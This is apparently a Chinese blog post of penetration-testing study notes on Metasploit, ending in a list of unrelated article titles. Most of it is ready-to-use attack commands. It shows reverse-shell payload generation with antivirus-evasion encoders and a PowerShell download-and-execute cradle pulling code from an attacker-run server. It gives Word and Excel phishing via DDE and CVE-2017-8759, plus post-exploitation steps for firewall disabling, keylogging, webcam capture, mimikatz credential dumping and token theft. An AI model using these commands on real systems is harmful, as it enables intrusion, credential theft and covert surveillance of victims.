渗透测试学习笔记(metasploit)
METASPLOIT
exploit-db.com
•Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称叫做MSF。Metasploit作为全球最受欢迎的工具,不仅仅是因为它的方便性和强大性,更重要的是它的框架。它允许使用者开发自己的漏洞脚本,从而进行测试。
渗透攻击(exploit)
测试者利用系统,程序,或服务的漏洞进行攻击的一个过程。
攻击载荷(payload)
攻击者在目标系统上执行的一段攻击代码,该代码具有返弹连接,创建用户,执行其他系统命令的功能
shellcode
在目标机器上运行的一段机器指令,成功执行后会返回一个shell
模块(module)
是指Metasploit框架中所使用的一段软件代码组件。
监听器(listener)
监听器是metasploit中用来等待介入网络连接的组件。
启动设置
service postgresql start
service metasploit start
msfconsole
进入后输入db_status 查看数据库连接状态
workspace -a test 创一个工作台
删除 -d 选项
进入test工作台
Wordspace test
使用nmap
db_nmap -sS 192.168.80.1 扫描主机
db_export 1.xml 导出扫描结果
db_import 1.xml 导入扫描结果
hosts 查看扫描结果
信息收集
①whois查询:
msf > whois example.com
②http://searchdns.netcraft.com/在线收集服务器 IP信息工具
③nslookup
msf> db_nmap –sS –A192.168.1.111
msf> db_services #查看扫描结果msf> search portscan
msf> use auxiliary/scanner/postscan/synsmb_version 模块:
msf> use auxiliary/scanner/smb/smb_version
找 mssql 主机:
msf> use auxiliary/scanner/mssql/mssql_ping
SSH 服务器扫描:
msf> use auxiliary/scanner/ssh/ssh_version
Telnet服务器扫描
msf> use auxiliary/scanner/telnet/telnet_version
FTP 主机扫描:
msf> use auxiliary/scanner/ftp/ftp_version
FTP 匿名登录:
useauxiliary/scanner/ftp/anonymos
扫描局域网内有哪些主机存活
useauxiliary/scanner/discovery/arp_sweep
扫描网站目录
auxiliary/scanner/http/dir_scanner
搜索网站中的E-mail地址
search_email_collector
use auxiliary/gather/search_email_collector
嗅探抓包
msf> use auxiliary/sniffer/psnuffle
msf密码破解模块
ssh服务口令猜测
use auxiliary/scanner/ssh/ssh_login
mysql口令攻击
search mysql
use auxiliary/scanner/mysql/mysql_login
postgresql攻击
search postgresql
use auxiliary/scanner/postgres/postgres_login
tomcat 攻击
search tomcat
use auxiliary/scanner/http/tomcat_mgr_login
telnet 攻击
use auxiliary/scanner/telnet/telnet_login
samba攻击
use auxiliary/scanner/smb/smb_login
msf漏洞利用模块
常用漏洞利用命令
search <name>
用指定关键字搜索可利用漏洞
use <exploit name>使用漏洞
show options
显示选项
set <OPTION NAME> <option>设置选项
show payloads 显示装置
show targets 显示目标(os版本)
set TARGET <target number> 设置目标版本
exploit 开始漏洞攻击
sessions -l 列出会话
sessions -i <ID> 选择会话
sessions -k <ID> 结束会话
<ctrl> z 把会话放到后台
<ctrl> c 结束会话
show auxiliary 显示辅助模块
use <auxiliary name> 使用辅助模块
set <OPTION NAME> <option> 设置选项
run 运行模块
word钓鱼
web_delivery
MSF PAYLOAD模块
•msfvenom是msfpayload和msfencode的结合体,于2015年6月8日取代了msfpayload和msfencode。在此之后,metasploit-framework下面的的msfpayload(荷载生成器),msfencoder(编码器),msfcli(监听接口)都不再被支持。
payload参数:
a. -p:指定payload,一般用 windows/meterpreter/reverse_tcp 比较多
b. -e:指定要用的编码器,一般用 shikata_ga_nai ,其他的都不太好用
c. -i:指定编码次数,后面跟数字,如:-i 8
d. -b:设定规避字符集,指定需要过滤的坏字符,如:'\x0f'、'\x00'
e. -f:指定输出格式,如:-f exe
f. -o:指定生成文件存放位置,也可用>代替
g. -l:列出指定模块的所有可用资源
h. -a:指定payload的目标架构,如x86,x64,x86_64,默认为32位程序
i. -s:设定payload的最大长度,即文件大小
j. --platform:指定payload的目标平台,如windows,linux
k. 其余参数可用 -h 查看
例子:msfvenom -p windows/meterpreter/reverse_tcp lhost=<IP>
lport=<port> -f exe -o payload.exe
建立监听
1. 常规监听msfconsole:进入msf控制台use exploit/multi/handler:使用模块set payload windows/meterpreter/reverse_tcp:设置payloadset lhost <ip>:设置要侦听的ipset lport <port>:设置要侦听的端口options:查看设置详情)run或exploit
2. 快速监听:默认持续侦听msfconsole:进入msf控制台handler -H <ip> -P <port> -p <payload>
3. 其他exploit -j -z:后台持续监听,-j是后台任务,-z是持续监听,使用jobs查看和管理jobs -K可结束所有任务。sessions -l:查看我的会话sessions -i 1:调用我的1号会话
payload可持续化:因为生成木马反弹payload后容易被杀死,而手动迁移进程的
migrate有一个操作间隔,所以可以在生成payload时就加上进程迁移,
即生成木马时加上:
PrependMigrate=true
PrependMigrateProc=svchost.exemsfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=1122 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o shell.exe
各种平台payload生成
Linuxmsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elfmsfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=1122 -a x86 --platform Linux -f elf > shell.elf
Windowsmsfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exemsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=1122 -f exe > shell.exe
Macmsfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho
Androidmsfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST= LPORT=1122 -f raw > shell.apkmsfvenom -p android/meterpreter/reverse_tcp LHOST= LPORT=1122 R > test.apk安卓免杀 rat yutube
查看windows/meterpreter/reverse_tcp支持什么平台、哪些选项,可以使用msfvenom -p windows/meterpreter/reverse_tcp --list-optionsmsfvenom --list payloads可查看所有payloadsmsfvenom --list encoders可查看所有编码器
评级最高的两个encoder为cmd/powershell_base64和x86/shikata_ga_nai,其中x86/shikata_ga_nai也是免杀中使用频率最高的一个编码器类似可用msfvenom --list命令查看的还有payloads, encoders, nops, platforms, archs, encrypt, formats
生成payload
Powershellmsfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST= LPORT=1122 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1
Netcat
nc正向连接msfvenom -p windows/shell_hidden_bind_tcp LHOST= LPORT=1122 -f exe> 1.exe
nc反向连接,监听msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=1122 -f exe> 1.exePHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
powershell msf无文件攻击
powershell 必须加/x64/
上面生成的木马都是要发送到服务器运行才行,有落地文件,会有痕迹,如果
想建立会话的同时不想在服务器留文件,可以用无文件攻击,通过命令远程加
载代码到内存运行,一旦重启无法溯源。
具体操作:
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost= lhost=1234 -f psh-reflection > x.ps1
(这一步生成ps脚本文件)
启用vps,搭建网站,把文件放在网站目录里,通过对外部文件的访问来
进行调用,如vps的ip为192.168.8.1
建立侦听
在目标机的命令行输入:powershell IEX (New-Object
Net.Webclient).DownloadString('http://192.168.8.1/x.ps1'),运行
进行调用,如vps的ip为192.168.8.1
建立侦听
在目标机的命令行输入:powershell IEX (New-Object
Net.Webclient).DownloadString('http://192.168.8.1/x.ps1'),运行
建立连接
WORD钓鱼
新建word设置域,
DDEAUTO C:\\windows\\system32\\cmd.exe "/k powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.8.1/x.ps1')
msf使用宏钓鱼
git clone https://github.com/bhdresh/CVE-2017-8759.git
python cve-2017-8759_toolkit.py -M gen -w Invoice.rtf -u http://192.168.80.132/logo.txtmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.80.132 LPORT=1133 -f exe > /root/shell.exe捆绑后开80端口 netstat -tnlp
python cve-2017-8759_toolkit.py -M exp -e http://192.168.80.132/shell.exe -l /root/shell.exe开启监听模块,发送给目标运行钓鱼文件,等代上线
msf制作excle钓鱼
web_delivery
use exploit/multi/script/web_delivery
set target 2target regsvr32 windows/64/meterpreter/reverse_tcp
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.3.143
set URIPATH /
exploit
powershell -w hidden -nop IEX (New-Object
Net.Webclient).DownloadString(‘http://192.168.8.1/x.ps1’)
ngrok转发
•本机安装客户端
•./sunny clientid id号
Msf5-Evasion模块免杀
show evasionhttp://virustotal.com/ 验证静态免杀 bypass
shellter免杀
•shellcode代码注入工具
•https://www.shellterproject.com/download/
py免杀
生产py文件的payload
msfvenom -p windows/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.8.124 -i 11 -f py -o msf.py
建立侦听
将生成的py文件修改处理
下载pyinstall:https://nchc.dl.sourceforge.net/project/pyinstaller/2.0/pyinstaller-2.0.zip
解压安装
安装pywin32
pip.exe install pywin32
python.exe pyinstaller-2.0\pyinstaller.py --console --onefile pyinstaller-2.0\11.py
venom免杀paylaod
下载地址:https://github.com/r00t-3xp10it/venomsudo ./setup.sh
运行
sudo ./venom.sh
Meterpreter后渗透模块
Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。
权限,使用平台,环境
基础命令
进程迁移
migrate
关闭杀软 ——失效—— run killav通过服务关闭
通过其 shell 来关闭防火墙
netsh adcfirewall set allprofiles state off
查看目标机所有流量
run packetrecorder -i 1
提取系统信息
run scraper
ps 查看进程
migrate 1774 切换进程
截屏 screenshot
获取系统运行的平台 sysinfo
cat c:\boot.ini#查看文件内容,文件必须存在
del c:\boot.ini #删除指定的文件
upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上,如upload setup.exe C:\\windows\\system32\
download nimeia.txt /root/Desktop/ # 下载文件到本机上如:download C:\\boot.ini /root/
edit c:\boot.ini # 编辑文件
getwd#打印工作目录
cd#更改本地目录
ls#列出在当前目录中的文件列表
pwd#输出工作目录
cd c:\\ #进入目录文件下
rm file #删除文件
mkdir dier #在受害者系统上的创建目录
rmdir#受害者系统上删除目录
dir#列出目标主机的文件和文件夹信息
mv#修改目标主机上的文件名
search -d d:\\www -f web.config #search 文件,如
search -d c:\\ -f *.doc
run vnc 查看桌面修改vnc配置
run getgui -e 开启目标主机远程桌面
sysinfo 命令为显示远程主机的系统信息
execute -f notepad.exe
execute -h 显示帮助信息。-f为执行要运行的命令
如果希望隐藏后台执行,加参数-H
execute -H -f notepad.exe
摄像头命令
record_mic #音频录制webcam_chat #查看摄像头接口webcam_list #查看摄像头列表webcam_stream #摄像头视频获取
端口转发(不需要高权限,正常会话权限)
portfwd -h
用法:portfwd [-h] [add | delete | list | flush] [args]
选项:-L <opt>要监听的本地主机(可选)-h帮助横幅-l <opt>要监听的本地端口-p <opt>连接到的远程端口-r <opt>要连接到的远程主机
portfwd add -l 4444 -p 3389 -r 192.168.1.102 # 端口转发,本机监听4444,把目标机3389转到本机4444rdesktop -u Administrator -p bk#123 127.0.0.1:4444 #使用rdesktop来连接桌面,-u 用户名 -p 密码
rdesktop 127.1.1.0:4444 #需要输入用户名和密码远程连接
键盘记录
keyscan_start:开启键盘记录功能
keyscan_dump:显示捕捉到的键盘记录信息
keyscan_stop:停止键盘记录
HASH获取
meterpreter > load mimikatz #加载mimikatz--kiwi--
meterpreter > msv #获取hash值
meterpreter > kerberos #获取明文(system权限)
meterpreter >ssp #获取明文信息
meterpreter > wdigest #获取系统账户信
meterpreter >mimikatz_command -f a:: #必须要以错误的模块来让正确的模块显示
meterpreter >mimikatz_command -f hash:: #获取目标 hash
meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatz_command -f sekurlsa::searchPa
run post/windows/gather/smart_hashdumpwin7 有uac控制
嗅探
use sniffer # 加载嗅探模块
sniffer_interfaces #列出目标主机所有开放的网络接口
sniffer_start 2 #获取正在实施嗅探网络接口的统计数据
sniffer_dump 2 /tmp/test2.cap #在目标主机上针对特定范围的数据包缓冲区启动嗅探
sniffer_stop 2 #停止嗅探对抓取的包进行解包:
use auxiliary/sniffer/psnuffle
set pcapfile 1.cap
run
wireshark,加载这个/tmp/xpsp1.cap 也可
盗取令牌
meterpreter >use incognito 加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户)
meterpreter >list_tokens -u 列出目标主机用户的可用令牌
meterpreter >list_tokens -g 列出目标主机用户组的可用令牌
meterpreter >impersonate_token DOMAIN_NAME\\USERNAME 假冒目标主机上的可用令牌,如meterpreter > impersonate_token QLWEB\\Administrato
持久控制服务器
注册表,服务后门,计划任务, 360,火绒绕过 cs 调用powershell 无文件攻击web_deliveryrookit(linux)
盗取令牌
meterpreter >use incognito 加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户)
meterpreter >list_tokens -u 列出目标主机用户的可用令牌
meterpreter >list_tokens -g 列出目标主机用户组的可用令牌
meterpreter >impersonate_token DOMAIN_NAME\\USERNAME 假冒目标主机上的可用令牌,如meterpreter > impersonate_token QLWEB\\Administrato
渗透测试学习笔记(metasploit)相关推荐
- 渗透测试学习笔记之案例二
0x00 前言 渗透是个持续的过程,不断地搜集信息,整理信息,以及利用信息,最终的目标就是拿到系统乃至整个网络的最高权限.在笔者看来,渗透测试与安全研究的最大不同就是前者擅长利用后者的研究成果并运用到 ...
- KALI LINUX渗透测试学习笔记
KALI LINUX渗透测试学习笔记 (苑房弘主讲) 第1章 课程介绍 任务1:Kali Linux渗透测试介绍.exe 安全问题的根源: 分层思想 只求功能实现 最大的威胁是人 渗透测试: 尝试挫败 ...
- kali linux 渗透测试学习笔记——被动信息收集
kali linux 渗透测试学习笔记--linux 被动信息收集 被动信息收集 被动信息收集 公开渠道可获得的信息 已公开的信息,通过互联网等渠道去获得 与目标系统不产生直接交互 不对目标访问,扫描 ...
- 渗透测试学习笔记20.11.20
目录 杂项 Kali linux Metasploitable2 (Linux) POC.EXP.Payload与Shellcode dvwa Apache cdn如何防止DDOS攻击 Kali抓包破 ...
- 渗透测试 学习笔记 思维导图
资源简介 此资源为本人自学渗透测试过程中做的一些笔记,为思维导图模式,用XMind ZEN 可打开,主要涉及到渗透测试的基本步骤,所用到的工具和渗透方法,ruby语言的简单学习,近源渗透测试的详细学习 ...
- 渗透测试学习笔记_Day1
拓展知识 APT (Advanced Package Tool,高级软件包工具)是一个打包管理 系统.APT允许使用命令行的方式,快速便捷地安装.更新.删除软件. 除了茴单以外,APT最大的优势是它可 ...
- Web渗透测试学习笔记
文章目录 第一章 信息收集 1.1域名信息 1.1.1whois查询 1.1.2备案信息查询 1.2敏感信息 1.3子域名信息 1.3.1 子域名检测工具 1.3.2搜索引擎枚举 1.3.3第三方聚合 ...
- 【Linux_Kali网络渗透测试学习笔记总结(五)】社会工程学攻击
网络渗透测试(五):社会工程学攻击 社会工程学时利用人性弱点体察,获取有价值信息的实践方法,它是一种欺骗的艺术.在缺少目标系统的必要信息时,社会工程学技术是渗透测试人员获取信息的至关重要的手段.对所有 ...
- 渗透测试学习笔记之案例五
0x00 前言 今天这篇文章主要来分享一个在渗透测试过程中如何通过逐步收集信息并最终拿下目标主机的案例. 0x01 案例分析 实验环境: 目标靶机:10.11.1.0/24 攻击机:Kali Linu ...
最新文章
- curl 使用 ~/.netrc
- 《价值50亿的10句话》读后感(学生作业分享)
- Agile PLM EC Understand the BOM Publishing Process
- 1 java基础增强
- 运算阶乘的代码_【必修1】2.4可以复用的代码
- Flutter进阶—点击、拖动和其他手势
- Windows服务器:切断默认共享通道七招
- 计算机硬盘是通用的吗,通用账务系统安装到计算机硬盘前需要进行的准备工作有()。A.清理硬盘B.校准计算机系统时间C.重设C - 作业在线问答...
- freeswitch debug
- ad13批量安装元件库_AD18元件库下载及导入方法
- 运维工程师绩效考核表_运维服务工程师考核表
- 域共享文件夹服务器怎么设置密码,域环境下共享文件夹加密、Windows 2008 Server局域网共享文件夹设置权限设置的方法...
- 语音文件格式转换:.amr 转 .MP3, .wav格式
- Python库——Faker
- Google文档初学者指南
- Inferred type 'S' for type parameter 'S' is not within its bound
- C语言基础---3.格式化输出总结---%d ,%s,%f %.3f,%m.ns 以及sprintf函数
- 解决:该公众号提供的服务出现故障,请稍后重试
- 胶囊网络可以PK掉CNN吗?//——暂时不能 胶囊网络的不足点思考
- 辗转相除法求最大公因数-C语言
热门文章
- 融云 CTO 岑裕:出海技术前沿探索和排「坑」实践
- 视频播放器(老)和视频播放器(新)
- 粤通院 招聘FPGA工程师
- 小程序源码:端午送粽子祝福微信小程序源码下载支持打赏模式带背景音乐
- 小程序源码:强大的多功能图片处理器微信小程序
- 阿里云物联网平台-数据解析脚本详解
- 如何搭建云进销存-销售管理系统?
- pc端双六边形重叠效果(带边框的六边形)
- 【技巧】vistual studio 2017 communty 版本许可证过期解决办法
- nginx学习十 ngx_cycle_t 、ngx_connection_t 和ngx_listening_t